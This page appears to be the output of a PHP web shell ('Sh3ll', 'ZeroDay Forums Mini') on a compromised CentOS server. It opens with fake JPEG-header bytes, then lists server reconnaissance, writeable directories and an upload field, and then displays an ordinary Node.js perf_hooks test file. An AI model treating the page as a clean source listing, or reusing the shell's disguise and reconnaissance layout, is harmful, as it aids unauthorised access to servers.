����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /home/real/node-v13.0.1/test/sequential/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/real/node-v13.0.1/test/sequential/test-performance-eventloopdelay.js
// Flags: --expose-gc
'use strict';

const common = require('../common');
const assert = require('assert');
const {
  monitorEventLoopDelay
} = require('perf_hooks');

{
  const histogram = monitorEventLoopDelay();
  assert(histogram);
  assert(histogram.enable());
  assert(!histogram.enable());
  histogram.reset();
  assert(histogram.disable());
  assert(!histogram.disable());
}

{
  [null, 'a', 1, false, Infinity].forEach((i) => {
    common.expectsError(
      () => monitorEventLoopDelay(i),
      {
        type: TypeError,
        code: 'ERR_INVALID_ARG_TYPE'
      }
    );
  });

  [null, 'a', false, {}, []].forEach((i) => {
    common.expectsError(
      () => monitorEventLoopDelay({ resolution: i }),
      {
        type: TypeError,
        code: 'ERR_INVALID_ARG_TYPE'
      }
    );
  });

  [-1, 0, Infinity].forEach((i) => {
    common.expectsError(
      () => monitorEventLoopDelay({ resolution: i }),
      {
        type: RangeError,
        code: 'ERR_INVALID_OPT_VALUE'
      }
    );
  });
}

{
  const histogram = monitorEventLoopDelay({ resolution: 1 });
  histogram.enable();
  let m = 5;
  function spinAWhile() {
    common.busyLoop(1000);
    if (--m > 0) {
      setTimeout(spinAWhile, common.platformTimeout(500));
    } else {
      histogram.disable();
      // The values are non-deterministic, so we just check that a value is
      // present, as opposed to a specific value.
      assert(histogram.min > 0);
      assert(histogram.max > 0);
      assert(histogram.stddev > 0);
      assert(histogram.mean > 0);
      assert(histogram.percentiles.size > 0);
      for (let n = 1; n < 100; n = n + 0.1) {
        assert(histogram.percentile(n) >= 0);
      }
      histogram.reset();
      assert.strictEqual(histogram.min, 9223372036854776000);
      assert.strictEqual(histogram.max, 0);
      assert(Number.isNaN(histogram.stddev));
      assert(Number.isNaN(histogram.mean));
      assert.strictEqual(histogram.percentiles.size, 1);

      ['a', false, {}, []].forEach((i) => {
        common.expectsError(
          () => histogram.percentile(i),
          {
            type: TypeError,
            code: 'ERR_INVALID_ARG_TYPE'
          }
        );
      });
      [-1, 0, 101].forEach((i) => {
        common.expectsError(
          () => histogram.percentile(i),
          {
            type: RangeError,
            code: 'ERR_INVALID_ARG_VALUE'
          }
        );
      });
    }
  }
  spinAWhile();
}

// Make sure that the histogram instances can be garbage-collected without
// and not just implictly destroyed when the Environment is torn down.
process.on('exit', global.gc);

ZeroDay Forums Mini